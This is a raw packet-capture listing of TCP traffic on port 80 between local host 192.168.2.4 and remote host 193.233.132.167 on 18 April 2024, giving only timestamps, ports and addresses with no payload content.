Apr 18, 2024 23:40:14.886679888 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886698961 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886714935 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886753082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886759996 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886790991 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886828899 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886842012 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886867046 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886878967 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886905909 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886912107 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886946917 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886953115 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886986971 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887023926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887036085 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887062073 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887070894 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887101889 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887113094 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887156010 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887157917 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887168884 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887191057 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887214899 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887229919 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887232065 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887268066 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887278080 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887306929 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887343884 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887356043 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887381077 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887393951 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887418985 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887429953 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887466908 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887470961 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887510061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887516975 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887548923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887558937 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887588024 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887594938 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887625933 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887639046 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887664080 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887672901 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887701988 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887713909 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887739897 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887778997 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887788057 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887815952 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887854099 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887866020 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887892962 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887901068 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887948036 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887962103 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.887986898 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.887995005 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888026953 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888042927 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888066053 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888078928 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888122082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888124943 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888161898 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888199091 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888209105 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888237000 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888252020 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888277054 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888283014 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888317108 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888324022 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888355017 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888392925 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888411999 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888431072 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888457060 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888468981 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888475895 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888508081 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888518095 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888545990 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888554096 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888586998 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888595104 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888628006 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888631105 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888673067 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888674021 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888710976 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888722897 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888750076 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888757944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888787985 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888825893 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888858080 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888868093 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888894081 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888906956 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888912916 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888946056 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888957977 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.888991117 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.888997078 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889029980 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889039040 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889070988 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889085054 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889107943 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889120102 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889146090 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889153004 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889187098 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889187098 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889225960 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889238119 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889264107 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889278889 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889302015 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889311075 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889338970 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889345884 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889377117 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889389038 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889414072 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889421940 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889451981 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889457941 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889491081 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889503002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889528990 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889543056 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889568090 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889579058 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889606953 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889624119 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889648914 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889657021 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889741898 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889780045 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889794111 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889817953 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889834881 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889856100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889864922 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889894962 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889933109 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889966011 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.889972925 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.889998913 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890011072 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890031099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890050888 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890064001 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890089035 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890110016 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890126944 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890134096 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890166998 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890177011 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890206099 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890217066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890244007 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890253067 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890284061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890292883 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890321016 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890326977 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890360117 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890397072 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890404940 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890435934 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890444994 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890475035 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890492916 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890515089 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890526056 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890567064 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890603065 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890618086 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890625954 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890655994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890686035 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890696049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890707016 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890733004 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890741110 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890780926 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890784025 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890821934 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890830994 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890860081 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890872002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890899897 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890907049 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890940905 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.890952110 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.890980959 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891011953 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891019106 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891032934 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891056061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891067982 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891093969 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891108990 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891130924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891170979 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891206980 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891207933 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891242981 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891247034 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891263008 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891284943 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891304016 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891324997 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891333103 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891361952 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891372919 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891401052 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891412020 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891438007 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891448975 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891474962 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891489983 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891514063 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891526937 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891560078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891561985 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891598940 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891608000 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891637087 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891652107 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891675949 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891685963 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891714096 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891742945 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891752005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891762972 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891791105 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891799927 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891830921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891838074 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891870022 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891880989 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891910076 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891916990 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891948938 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891958952 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.891988039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.891997099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892025948 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892035961 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892070055 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892075062 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892127991 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892138958 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892179966 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892218113 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892231941 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892256021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892270088 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892293930 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892303944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892332077 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892344952 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892370939 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892383099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892407894 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892429113 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892446995 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892452002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892483950 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892498016 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892523050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892535925 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892560959 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892575979 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892599106 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892611027 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892638922 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892651081 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892677069 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892714977 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892724991 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892751932 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892766953 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892790079 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892803907 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892828941 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892854929 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892868996 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892874002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892909050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892934084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892946005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892951965 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.892985106 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.892999887 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893023014 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893035889 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893063068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893100023 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893115997 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893141031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893152952 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893191099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893224001 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893261909 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893271923 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893299103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893316031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893337965 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893352985 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893440962 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893454075 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893487930 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893491030 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893510103 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893532038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893546104 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893569946 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893587112 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893610001 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893615961 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893649101 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893656969 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893687010 CEST	80	49746	193.233.132.167	192.168.2.4
